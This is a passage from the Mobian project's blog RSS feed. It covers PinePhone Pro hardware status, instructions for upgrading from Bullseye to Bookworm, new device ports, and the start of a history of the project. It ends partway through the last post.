developers of most (if not all) mobile Linux distributions have gathered with the goal
of not reproducing such a situation with the PinePhone Pro. We at Mobian are extremely
excited of being part of this effort and look forward to collaborating more closely on
solving hardware support issues and working together on kernel/bootloader development
and upstreaming, and we&amp;rsquo;re sure developers from other projects are as well!&lt;/p&gt;
&lt;h2 id=&#34;a-new-era-for-linux-phones&#34;&gt;A new era for Linux phones&lt;/h2&gt;
&lt;p&gt;The PinePhone Pro is a powerful and nicely designed addition to the existing line of
Linux-first phones. Once its hardware support improves, and with the ever maturing
software ecosystem, it will very likely prove to be a very enjoyable device to use as
a daily driver, making for a much smoother experience than the OG PinePhone.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re not there yet though, as several major issues still make it a developers-only device
for now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;power management is really basic at the moment, and resuming from deep sleep still causes
issues with the modem not being brought back properly, or the audio sample rate not being
configured as it should (resulting in sped up, high-pitched audio)&lt;/li&gt;
&lt;li&gt;the on-device installer mostly works when installing from an SD card to the same SD card,
but encrypted installs won&amp;rsquo;t boot due to an initramfs issue&lt;/li&gt;
&lt;li&gt;the charger and battery drivers present a number of problems as well&lt;/li&gt;
&lt;li&gt;Bluetooth headsets can&amp;rsquo;t be used during phone calls&lt;/li&gt;
&lt;li&gt;display output through USB-C doesn&amp;rsquo;t work yet&lt;/li&gt;
&lt;li&gt;camera support is basically non-existent at this point&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&amp;rsquo;re quite confident most, if not all of those issues will be solved eventually, and a
lot of us will end up being able to daily drive the PinePhone Pro before 2022 ends, so
stay tuned as we will undoubtedly make great progress in the months to come! :)&lt;/p&gt;
&lt;p&gt;In the meantime, for those of you lucky enough to already own a PinePhone Pro, make sure
to check out &lt;a href=&#34;https://images.mobian.org/pinephonepro/weekly/&#34;&gt;Mobian weekly images&lt;/a&gt;
for this device.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Squashing a Book Full of Worms</title>
      <link>https://blog.mobian.org/posts/2021/12/24/bullseye-to-bookworm/</link>
      <pubDate>Fri, 24 Dec 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/12/24/bullseye-to-bookworm/</guid>
      <description>&lt;p&gt;Now that the dust has settled on Debian&amp;rsquo;s new testing repository we are focusing
our efforts on Bookworm. This long overdue blog post is a summary of what to expect in
the coming updates to Mobian.&lt;/p&gt;
&lt;h2 id=&#34;new-software&#34;&gt;New Software&lt;/h2&gt;
&lt;p&gt;As we outlined in &lt;a href=&#34;https://blog.mobian.org/posts/2021/08/11/bullseye-release/&#34;&gt;To Bullseye and Beyond&lt;/a&gt;,
Bookworm is where Mobian and Debian will be focusing their efforts for new software.
To date, this has resulted in the introduction of GTK4 and, most importantly for PinePhone
users, Megapixels 1.3 which brings a fully hardware-accelerated camera viewfinder.&lt;/p&gt;
&lt;p&gt;Additionally, Debian moved to GNOME 41 over the past few months, which provides newly adaptive
versions of core software such as GNOME Software and GNOME Control Center. The latter reduces
significantly the number of overflowing panels and starts significantly faster.&lt;/p&gt;
&lt;p&gt;All of these goodies either come directly from upstream Debian or rely on newer packages
not available in Bullseye. The Mobian team will not be backporting these, so we recommend
upgrading to Bookworm to get access to them.&lt;/p&gt;
&lt;h2 id=&#34;how-do-i-get-access-to-these-new-packages&#34;&gt;How do I get access to these new packages&lt;/h2&gt;
&lt;p&gt;The good news is, if you have already switched to Bookworm, these updates are just an
&lt;code&gt;apt upgrade&lt;/code&gt; away.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;ve been waiting for the dust to settle on the Bullseye release, now would be a good
time to move forward. While the turnover of new packages in Debian Testing is always high,
the major post-Bullseye transitions (such as GNOME and libc) have completed, mostly
smoothly.&lt;/p&gt;
&lt;p&gt;If you would like to upgrade, simply replace &lt;code&gt;bullseye&lt;/code&gt; with &lt;code&gt;bookworm&lt;/code&gt; in
both &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; and &lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt;. Then, the usual
&lt;code&gt;apt update&lt;/code&gt; and &lt;code&gt;apt dist-upgrade&lt;/code&gt; combo will pull in all the latest packages and
upgrade your device to Bookworm. We highly recommend you &lt;strong&gt;backup your home directory prior
to performing the upgrade.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In case you originally flashed your device with an image older than April 26th, 2021,
you will have to edit &lt;code&gt;/etc/apt/sources.list.d/extrepo_mobian.sources&lt;/code&gt; instead of
&lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt;, replacing &lt;code&gt;Suites: mobian&lt;/code&gt; with
&lt;code&gt;Suites: bookworm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finally, do not blindly proceed with the upgrade, but pay attention to the lists of
upgraded/removed packages: in case you notice anything suspicious (such as &lt;code&gt;mobian-*&lt;/code&gt;
packages being removed, for example), please abort the upgrade process and try to find out
what is going wrong.&lt;/strong&gt; As a last resort measure, keep in mind you can always flash a clean,
fresh image if things end up going horribly wrong.&lt;/p&gt;
&lt;h3 id=&#34;fresh-installs&#34;&gt;Fresh Installs&lt;/h3&gt;
&lt;p&gt;Since August 15th, our nightly (and now weekly) image builds are all based on Bookworm, so
if you installed from an image generated after this date, then you&amp;rsquo;re all set and don&amp;rsquo;t
need to do anything. Images for your device can be downloaded from
&lt;a href=&#34;https://images.mobian.org&#34;&gt;the usual mobian images page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While it is not necessary to reinstall Mobian to access Bookworm, if you are going to do so,
we recommend using one of those weekly image builds.&lt;/p&gt;
&lt;h2 id=&#34;a-note-on-repository-names&#34;&gt;A note on Repository Names&lt;/h2&gt;
&lt;p&gt;There has been some confusion about the naming of Mobian and Debian repositories
and their targets. To dispel this, we have compiled the following:&lt;/p&gt;
&lt;p&gt;Mobian Repositories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bookworm&lt;/code&gt;: This is the current main repository, targeting Debian &lt;code&gt;bookworm&lt;/code&gt;. Similarly to its
Debian counterpart, it should be considered the &amp;ldquo;testing&amp;rdquo; distribution.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;staging&lt;/code&gt;: This is the bleeding edge repository for Mobian. While it also targets
Debian &lt;code&gt;bookworm&lt;/code&gt;, it contains new, minimally tested or experimental packages.
This repository allows users to test packages before they&amp;rsquo;re released to a wider
audience and help us discover new bugs and regressions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bullseye&lt;/code&gt;: This is the old Mobian repository targetting Debian &lt;code&gt;bullseye&lt;/code&gt;. It is no longer
receiving updates and should now be considered a security risk, especially in the
light of recent kernel-related CVEs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mobian&lt;/code&gt;: An alias for &lt;code&gt;bullseye&lt;/code&gt; and therefore no longer receiving updates as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Debian Repositories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bullseye&lt;/code&gt;: Current Debian stable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bookworm&lt;/code&gt;: Current Debian testing and the target of all supported Mobian repositories.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sid&lt;/code&gt;: Debian unstable. While conceptually similar, this is not targeted by Mobian &lt;code&gt;staging&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Simply put, Mobian &lt;code&gt;bookworm&lt;/code&gt; and Mobian &lt;code&gt;staging&lt;/code&gt; are the current, supported versions, both
targeting Debian &lt;code&gt;bookworm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As you may have noticed, there is no Mobian &amp;ldquo;stable&amp;rdquo; repository at the moment: while a
significant (and ever growing) number of users deem Mobian stable enough for daily use,
there are still a number of issues getting in the way of a really smooth and enjoyable
user experience. It is our hope and goal that those issues will be fixed during the Bookworm
development cycle, leading to a first Mobian stable release by the time Bookworm becomes
the new Debian stable (fingers crossed).&lt;/p&gt;
&lt;h2 id=&#34;a-note-on-kernel-releases&#34;&gt;A note on Kernel Releases&lt;/h2&gt;
&lt;p&gt;The current plan is to have the most recent LTS kernel available in Mobian &lt;code&gt;bookworm&lt;/code&gt;, with
&lt;code&gt;staging&lt;/code&gt; receiving less well-tested non-LTS versions. This is due to the regressions
which can occur between kernels and allows users to understand before upgrading how
thoroughly a given kernel has been tested.&lt;/p&gt;
&lt;p&gt;In saying this, 5.15 is the latest LTS kernel and is currently the default one in Mobian
&lt;code&gt;bookworm&lt;/code&gt; as well as Mobian &lt;code&gt;staging&lt;/code&gt;, with the latter about to switch to 5.16 once it is
released.&lt;/p&gt;
&lt;p&gt;Mobian users who want to help with this process are encouraged to test these unstable kernels
when they are released and report any regression.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>To Bullseye and beyond!</title>
      <link>https://blog.mobian.org/posts/2021/08/11/bullseye-release/</link>
      <pubDate>Wed, 11 Aug 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/08/11/bullseye-release/</guid>
      <description>&lt;p&gt;As you might be aware, the next Debian stable release (codename &lt;strong&gt;&lt;code&gt;bullseye&lt;/code&gt;&lt;/strong&gt;)
is only &lt;a href=&#34;https://lists.debian.org/debian-devel-announce/2021/07/msg00003.html&#34;&gt;a few days away&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But what does it imply for Mobian?&lt;/p&gt;
&lt;h2 id=&#34;bullseye-on-mobile&#34;&gt;Bullseye on mobile&lt;/h2&gt;
&lt;p&gt;Bullseye will be the first Debian release including a modern software stack
aimed at mobile devices, which is an important milestone in itself. However,
development in this area is progressing at a rapid pace, and most packages
in &lt;code&gt;bullseye&lt;/code&gt; are already outdated, missing important features such as improved
modem handling during suspend/resume cycles, or recent packages like
&lt;a href=&#34;https://gtk.org/&#34;&gt;GTK4&lt;/a&gt; and &lt;a href=&#34;https://gitlab.gnome.org/GNOME/libadwaita&#34;&gt;libadwaita&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As Mobian is developed by a small team of already busy individuals, we have
decided we wouldn&amp;rsquo;t support &lt;code&gt;bullseye&lt;/code&gt; after it&amp;rsquo;s released and will focus our
efforts on the next Debian version (codename &lt;strong&gt;&lt;code&gt;bookworm&lt;/code&gt;&lt;/strong&gt;).&lt;/p&gt;
&lt;p&gt;Current users will still get updates from Debian throughout the lifetime of
&lt;code&gt;bullseye&lt;/code&gt; but shouldn&amp;rsquo;t expect new versions of user-facing applications or the
mobile software stack. To put it short, here&amp;rsquo;s what you&amp;rsquo;ll get from sticking to
&lt;code&gt;bullseye&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;security updates for the core system&lt;/li&gt;
&lt;li&gt;minor upgrades to system packages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&amp;rsquo;s what you won&amp;rsquo;t get should you decide to stick to bullseye:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;security updates for &lt;a href=&#34;https://packages.mobian.org/&#34;&gt;packages maintained by Mobian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;shiny new features&lt;/li&gt;
&lt;li&gt;usability improvements&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-way-forward&#34;&gt;The way forward&lt;/h2&gt;
&lt;p&gt;Within a few days, following the &lt;code&gt;bullseye&lt;/code&gt; release, we&amp;rsquo;ll create and populate a
new Mobian repository targeting &lt;code&gt;bookworm&lt;/code&gt;. Upgrading from &lt;code&gt;bullseye&lt;/code&gt; to
&lt;code&gt;bookworm&lt;/code&gt; won&amp;rsquo;t be automated and will require editing your &lt;code&gt;sources.list&lt;/code&gt;
files: simply replace &lt;code&gt;bullseye&lt;/code&gt; with &lt;code&gt;bookworm&lt;/code&gt; in both &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;
and &lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;if you originally flashed your device with an image older than April 26th,
2021, will have to edit &lt;code&gt;/etc/apt/sources.list.d/extrepo_mobian.sources&lt;/code&gt;,
replacing &lt;code&gt;Suites: mobian&lt;/code&gt; with &lt;code&gt;Suites: bookworm&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;if you were using &lt;a href=&#34;https://blog.mobian.org/posts/2021/03/15/unstable-distro/&#34;&gt;Mobian staging&lt;/a&gt; so far,
you will only need to edit &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;: our current &lt;code&gt;staging&lt;/code&gt;
repo will keep being the entry point for all new and updated packages we
upload&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please keep in mind that we expect a huge amount of upgrades to be flowing in
the weeks following the &lt;code&gt;bullseye&lt;/code&gt; release, with plenty of opportunities to
break the system, so you might want to wait a bit before upgrading ;)&lt;/p&gt;
&lt;p&gt;Once the dust settles, we plan to move more and more of Mobian into the Debian
archive with the hope of making Debian &lt;code&gt;bookworm&lt;/code&gt; a first-class citizen in the
&amp;ldquo;Linux on mobile&amp;rdquo; world.&lt;/p&gt;
&lt;p&gt;The next couple of years are going to be exciting for all of us, so we can only
thank you for your support, and we hope you&amp;rsquo;ll enjoy the ride at least as much
as we do! :)&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>2021-05-17 Status update</title>
      <link>https://blog.mobian.org/posts/2021/05/17/update-2021-05-17/</link>
      <pubDate>Mon, 17 May 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/05/17/update-2021-05-17/</guid>
      <description>&lt;p&gt;The past few months have been quieter than usual regarding Mobian development,
but that&amp;rsquo;s not to say we didn&amp;rsquo;t make progress! Actually, even though
user-visible changes are few, we kept working on improving both the stability
of our distribution and our tooling, so that new developments can be better
tested, and reach users faster than they used to.&lt;/p&gt;
&lt;h2 id=&#34;mobian-ce-reception-and-outcomes&#34;&gt;Mobian CE reception and outcomes&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&#34;https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/&#34;&gt;Mobian Community Edition PinePhone&lt;/a&gt;
has been a great success for us, with of course a few hiccups, but the feedback
we received so far has been extremely positive. We&amp;rsquo;d like to take this
opportunity to thank &lt;a href=&#34;https://www.pine64.org/&#34;&gt;Pine64&lt;/a&gt; once again for allowing
us to be part of this amazing journey!&lt;/p&gt;
&lt;p&gt;As you &lt;a href=&#34;https://www.pine64.org/2021/01/17/mobian-community-edition/&#34;&gt;probably&lt;/a&gt;
&lt;a href=&#34;https://www.pine64.org/2019/08/19/its-time-to-start-giving-back/&#34;&gt;know&lt;/a&gt;, Pine64
generously donated 10$ per device to the Mobian project, which we received early
last month. Out of this amount, we chose to donate 5000€ back to the
&lt;a href=&#34;https://www.debian.org/&#34;&gt;Debian&lt;/a&gt; project (which provides the foundation for all
of our work on Mobian), and invested about the same amount into our own
infrastructure (workstation, build servers&amp;hellip;). Finally, we purchased a few
additional mobile devices we considered interesting targets and started porting
Mobian to those.&lt;/p&gt;
&lt;h2 id=&#34;new-supported-devices&#34;&gt;New supported devices&lt;/h2&gt;
&lt;h3 id=&#34;lets-play-with-android-phones&#34;&gt;Let&amp;rsquo;s play with Android phones!&lt;/h3&gt;
&lt;p&gt;Until recently, Mobian supported only Pine64&amp;rsquo;s &lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt;,
&lt;a href=&#34;https://www.pine64.org/pinetab/&#34;&gt;PineTab&lt;/a&gt; and Purism&amp;rsquo;s
&lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt;.
This is partly related to our choice of only using mainline kernels, instead of
vendor-provided Android kernels: those use a number of non-standard interfaces,
and require additional software, such as &lt;a href=&#34;https://halium.org/&#34;&gt;Halium&lt;/a&gt;, in order
to be used with a &amp;ldquo;standard&amp;rdquo; Linux userspace. In addition, vendor kernels are
generally outdated and very rarely updated to newer kernel releases, which is
obviously a concern for long-term maintenance.&lt;/p&gt;
&lt;p&gt;Fortunately, our friends at &lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt; have committed to
&lt;a href=&#34;https://postmarketos.org/blog/2020/05/31/three-years/#mainline-progress&#34;&gt;mainlining&lt;/a&gt;
devices for quite some time now, and by encouraging such development have
reached great results so far! Based on their initiative, and more specifically
thanks to &lt;a href=&#34;https://gitlab.com/calebccff&#34;&gt;@calebccff&lt;/a&gt;&amp;rsquo;s and
&lt;a href=&#34;https://gitlab.com/joelselvaraj&#34;&gt;@Joel&lt;/a&gt;&amp;rsquo;s work on the
&lt;a href=&#34;https://gitlab.com/sdm845-mainline/sdm845-linux&#34;&gt;SDM845 kernel&lt;/a&gt;, we have been
able to port Mobian to 2 new devices.&lt;/p&gt;
&lt;p&gt;We can therefore formally announce official Mobian support for the Pocophone F1
and OnePlus 6 and 6T! Be aware, though, that work on these devices has only
recently started, and they&amp;rsquo;re still far from being usable as daily drivers:
while most of the basic features (display, touchscreen, hardware buttons, GPU
acceleration, WiFi/BT) is already functional, the modem and audio don&amp;rsquo;t work at
the moment, neither do the cameras. They do, however, give a good idea of
Mobian&amp;rsquo;s performance on recent mobile hardware.&lt;/p&gt;
&lt;p&gt;You should also keep in mind that, although such smartphones benefit from a
drastic performance boost when compared to Linux-only phones, they don&amp;rsquo;t offer
the same level of privacy one can expect from the PinePhone or Librem 5: there
are no hardware killswitches, a whole lot of closed-source binary blobs are
required (firmwares for the GPU, WiFi adapter, modem&amp;hellip;), and the baseband modem
is part of the main SoC, with physical access to the system&amp;rsquo;s memory bus.
Anyway, if you own one of these devices you can test-drive Mobian by following
the &lt;a href=&#34;https://wiki.mobian.org/doku.php?id=install-android&#34;&gt;instructions&lt;/a&gt;
on our wiki.&lt;/p&gt;
&lt;h3 id=&#34;if-it-runs-windows-then-it-should-run-linux-right&#34;&gt;If it runs Windows, then it should run Linux, right?&lt;/h3&gt;
&lt;p&gt;Although smartphones usually get the most attention, being essential
devices for many people, tablets are another family of devices which can
benefit from Linux support and can be better suited than phones for a range of
use-cases, mainly thanks to their larger displays. In this regard, the PineTab
is a really fine and capable device, but you can easily imagine the potential of
such a device with an even larger display and more processing power (wouldn&amp;rsquo;t a
&lt;em&gt;PineTab Pro&lt;/em&gt; be awesome?).&lt;/p&gt;
&lt;p&gt;This is what prompted us to work on supporting the Microsoft Surface Pro 3
tablet: this device is pretty much a standard x86 computer in a tablet
form-factor, so it can run a fully mainline kernel without any additional patch.
As a matter of fact, this is the first device we support which doesn&amp;rsquo;t require a
custom kernel and/or bootloader, but relies on upstream GRUB and Debian&amp;rsquo;s amd64
kernel. And yet, every internal peripherals are supported out of the box (yes,
including the cameras)!&lt;/p&gt;
&lt;p&gt;This image has only been tested on the Surface Pro 3 for now, but it &lt;strong&gt;might&lt;/strong&gt;
work as-is with every Surface Go and Surface Pro tablet (and maybe other
x86/UEFI tablets), although touchscreen support for the Surface Pro 4 and later
will probably be missing. If you have the opportunity to test it on x86 tablets
other than the Surface Pro 3, feel free to let us know how it went, so we know
which devices could use some more work, and to which extent.&lt;/p&gt;
&lt;p&gt;Mobian can be installed on the Surface Pro 3 by following the installation
&lt;a href=&#34;https://wiki.mobian.org/doku.php?id=install-x86&#34;&gt;instructions&lt;/a&gt; for
x86-based devices.&lt;/p&gt;
&lt;h2 id=&#34;ci-is-coming&#34;&gt;CI is coming&lt;/h2&gt;
&lt;p&gt;These past few weeks, &lt;a href=&#34;https://gitlab.com/Jarrah&#34;&gt;@undef&lt;/a&gt; bootstrapped and paved
the way for enabling CI on our repos, which will greatly help improve our
development process. By re-using most of the CI pipeline used by Debian, and
making the few required adjustments to include software from Mobian, we will
soon be able to unleash the power of CI, resulting in less burden for
developers, easier installation and testing of development version packages, and
overall a more solid development infrastructure.&lt;/p&gt;
&lt;p&gt;An interesting part of this effort are CI-generated
&lt;a href=&#34;https://salsa.debian.org/Mobian-team/docker-images/container_registry&#34;&gt;docker containers&lt;/a&gt;
available from Gitlab&amp;rsquo;s registry. These images will be used by our CI pipelines,
but they also can be used to easily create a clean Mobian environment for
building packages. If your distro supports &lt;code&gt;binfmt&lt;/code&gt; and you have
&lt;code&gt;qemu-user-static&lt;/code&gt; installed, you can even
&lt;a href=&#34;https://wiki.debian.org/Teams/Mobian/CrossCompiling&#34;&gt;use the arm64 images&lt;/a&gt;
on your x86 machine for building packages you can directly install and run on
your device!&lt;/p&gt;
&lt;h2 id=&#34;ongoing-baseline-work-and-new-images&#34;&gt;Ongoing baseline work and new images&lt;/h2&gt;
&lt;p&gt;Most of the distro is currently frozen/in a somewhat stable state. This has of
course lots to do with the Debian bullseye freeze, but we kept updating a few
user-facing applications so we can still benefit from the latest improvements.
These past few weeks, we updated Geary to the latest upstream version (which is
now fully adaptive without requiring any additional patch), as well as
evince (PDF viewer), gedit and gnome-control-center (all by applying the
latest patches from Purism). We also imported new versions for Megapixels,
wake-mobile and portfolio.&lt;/p&gt;
&lt;p&gt;However, as a growing number of applications move forward to adopting GTK4, the
current version of Mobian will be lagging behind, as GTK4 won&amp;rsquo;t be included in
Debian bullseye. We&amp;rsquo;d rather avoid maintaining a forked GTK4 package targetting
bullseye as it&amp;rsquo;s a big and complex piece of software, so there are applications
we won&amp;rsquo;t be able to update anymore, such as Megapixels. Once bullseye is
released, the current Mobian repo will keep tracking this version and will only
receive updates for security-related reasons and core software (phoc, phosh,
squeekboard and the default applications), as long as it doesn&amp;rsquo;t require
backporting new library versions from bookworm. We&amp;rsquo;ll then create a new
&amp;ldquo;testing&amp;rdquo; repository tracking Debian bookworm, and base all future builds on
this repo.&lt;/p&gt;
&lt;p&gt;Regarding the default kernel for Pine64 devices, even though 5.11 has been
available in our repo for a while, we&amp;rsquo;re still shipping with 5.10 for now: our
current 5.11 kernel exhibits occasional issues with USB-C and breaks suspend on
the PineTab, meaning we can&amp;rsquo;t switch to this version as the default yet. If you
don&amp;rsquo;t mind the drawbacks, switching to 5.11 is of course only an
&lt;code&gt;apt install linux-image-5.11-sunxi64&lt;/code&gt; away!&lt;/p&gt;
&lt;p&gt;As a final note, for the first time, our reference images are signed with the
project&amp;rsquo;s GPG key, which can be downloaded from
&lt;a href=&#34;http://repo.mobian.org/mobian.gpg.key&#34;&gt;our server&lt;/a&gt; or using the
following command:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;gpg --keyserver keyserver.ubuntu.com --search-keys admin@mobian-project.org
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are releasing new versions of the
&lt;a href=&#34;https://images.mobian.org/pinephone/installer/&#34;&gt;PinePhone&lt;/a&gt; and
&lt;a href=&#34;https://images.mobian.org/pinetab/installer/&#34;&gt;PineTab&lt;/a&gt; installer today,
as well as new reference images for the
&lt;a href=&#34;https://images.mobian.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt; and
&lt;a href=&#34;https://images.mobian.org/pinetab/&#34;&gt;PineTab&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy :)&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The road to the Mobian Community Edition (part 1)</title>
      <link>https://blog.mobian.org/posts/2021/04/08/road-to-mobian-1/</link>
      <pubDate>Thu, 08 Apr 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/04/08/road-to-mobian-1/</guid>
      <description>&lt;p&gt;The Mobian project was officially announced on May 14th, 2020. But those who
witnessed its birth surely remember it all started a few months prior to this
date, a bit more than one year ago, actually. One year hacking and building both
a mobile operating system and a community. One year refining our system, getting
rid of the early days&amp;rsquo; hacks in favor of more mature and robust solutions.
One year ending with a major milestone for such a young project: getting the
&lt;a href=&#34;https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/&#34;&gt;Mobian Community Edition PinePhone&lt;/a&gt;
into the hands of thousands of users. One hell of a year, indeed!&lt;/p&gt;
&lt;p&gt;It all really started on January 29th, 2020, when I received a shiny new toy:
an ARM64 development system packed with a number of interesting, if not unique,
features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;5.95&amp;quot; touchscreen&lt;/li&gt;
&lt;li&gt;removable battery&lt;/li&gt;
&lt;li&gt;integrated eMMC&lt;/li&gt;
&lt;li&gt;µSD socket&lt;/li&gt;
&lt;li&gt;USB-C port&lt;/li&gt;
&lt;li&gt;3.5&amp;quot; headset jack&lt;/li&gt;
&lt;li&gt;4G modem&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt; was my first &amp;ldquo;real&amp;rdquo; Linux
phone: I had owned a Nexus 5 running &lt;a href=&#34;https://ubports.com/&#34;&gt;Ubuntu Touch&lt;/a&gt;, but
it was basically an Android phone, running an Android kernel. While it was a
very fine device, definitely usable as a daily driver, I got quickly frustrated
by all the things I couldn&amp;rsquo;t do on this system, mostly due to Canonical&amp;rsquo;s design
choices: it was not a hacker&amp;rsquo;s device, just a different, yet mainstream, mobile
phone.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s be honest, back when PINE64 announced the PinePhone, I had already
pre-ordered a &lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt;, and I only
purchased this device so I could play with
&lt;a href=&#34;https://puri.sm/posts/phosh-overview/&#34;&gt;Phosh&lt;/a&gt; and the L5 software stack while
waiting for my &amp;ldquo;real&amp;rdquo; phone. But still, there was literally a world to build
with the PinePhone, so why not give it a try?&lt;/p&gt;
&lt;h3 id=&#34;unboxing-and-early-hacking&#34;&gt;Unboxing and early hacking&lt;/h3&gt;
&lt;p&gt;While waiting on the PinePhone, I gathered as much documentation as possible
about the device itself, but also the existing ecosystem: select developers had
access to an even earlier version of this phone, and there were already a few
systems available. Among those, &lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt; looked
the most promising, as it allowed the user to chose various environments,
&lt;a href=&#34;https://www.plasma-mobile.org/&#34;&gt;Plasma Mobile&lt;/a&gt; and Phosh being the ones I
absolutely wanted to try.&lt;/p&gt;
&lt;p&gt;Test-driving the various OS&amp;rsquo;s available at the time kept me busy for the major
part of the 2 evenings following the PinePhone delivery, and was enough to prove
the phone&amp;rsquo;s potential. Still, the whole software stack was far less mature than
it is today, and a lot of features were missing (no suspend, no camera, to name
just a few), which was to be expected given the very small number of developers
having worked on it thus far. Nevertheless, the fact that it was actually usable
came in as a pleasant surprise.&lt;/p&gt;
&lt;p&gt;But you can&amp;rsquo;t get a tinkerer to simply use such a device. Therefore, armed with
a DIY serial adapter (probably the single most important tool of any embedded
software developer) made out of an old RCA-to-3.5mm-jack audio cable, it was
time to have a closer look at how this device worked, and what I could do with
it.&lt;/p&gt;
&lt;p&gt;Being a strong &lt;a href=&#34;https://www.debian.org/&#34;&gt;Debian&lt;/a&gt; fan since the early 2000&amp;rsquo;s, and
having some experience with creating custom Debian-based images for embedded
systems as part of $dayjob, I couldn&amp;rsquo;t aim for anything other than running
Debian on my phone! Fortunately, the PINE64 and Debian communities had already
published everything I needed to succeed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;a href=&#34;https://gitlab.com/pine64-org&#34;&gt;PINE64 Gitlab&lt;/a&gt; contained the sources for
the bootloader (&lt;a href=&#34;https://gitlab.com/pine64-org/u-boot&#34;&gt;u-boot&lt;/a&gt;) and
&lt;a href=&#34;https://gitlab.com/pine64-org/linux&#34;&gt;Linux kernel&lt;/a&gt; used on their devices&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/go-debos/debos&#34;&gt;debos&lt;/a&gt;, a simple yet powerful tool I was
already familiar with, could be used to generate a base arm64 Debian system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I was about to travel for the week-end, I simply packed the kernel and
bootloader sources on my laptop, along with as much documentation as I could
find, a postmarketOS image to serve as a reference, and a debos-generated
arm64 Debian rootfs.&lt;/p&gt;
&lt;p&gt;Fun fact: the first step towards Mobian actually took place in the air,
as the first time I could get the PinePhone to boot a Debian-based image
happened during my flight to Brussels for last year&amp;rsquo;s
&lt;a href=&#34;https://fosdem.org/&#34;&gt;FOSDEM&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;getting-to-a-usable-system&#34;&gt;Getting to a usable system&lt;/h3&gt;
&lt;p&gt;After the first successful boot and a bit of tinkering (running weston to make
sure the graphics driver was working, fiddling with &lt;code&gt;nmcli&lt;/code&gt; to setup a wifi
connection &amp;ndash; which would prove essential as there was no other network
connectivity at that point), the next step was getting a usable graphical
environment working.&lt;/p&gt;
&lt;p&gt;Back then, phosh was (and still is) being developed by &lt;a href=&#34;https://puri.sm&#34;&gt;Purism&lt;/a&gt;
for their Librem 5, and it was already running on the PinePhone with
postmarketOS. It already looked in good shape and was really appealing to me,
mostly as it&amp;rsquo;s based on GTK and (as I would quickly discover) GNOME libraries.
Actually, my desktop of choice is XFCE, as I always found GNOME 3 to be a bit
laggy and unresponsive (it&amp;rsquo;s been a while since I last tested it, though), but
we&amp;rsquo;re still in GTK territory, which I, as both a user and a developer, have
always preferred over other toolkits.&lt;/p&gt;
&lt;p&gt;As &lt;a href=&#34;https://pureos.net/&#34;&gt;PureOS&lt;/a&gt; (Purism&amp;rsquo;s own distro) was based on Debian, I
first tried to simply add their repos to my base image and &lt;code&gt;apt install phosh&lt;/code&gt;.
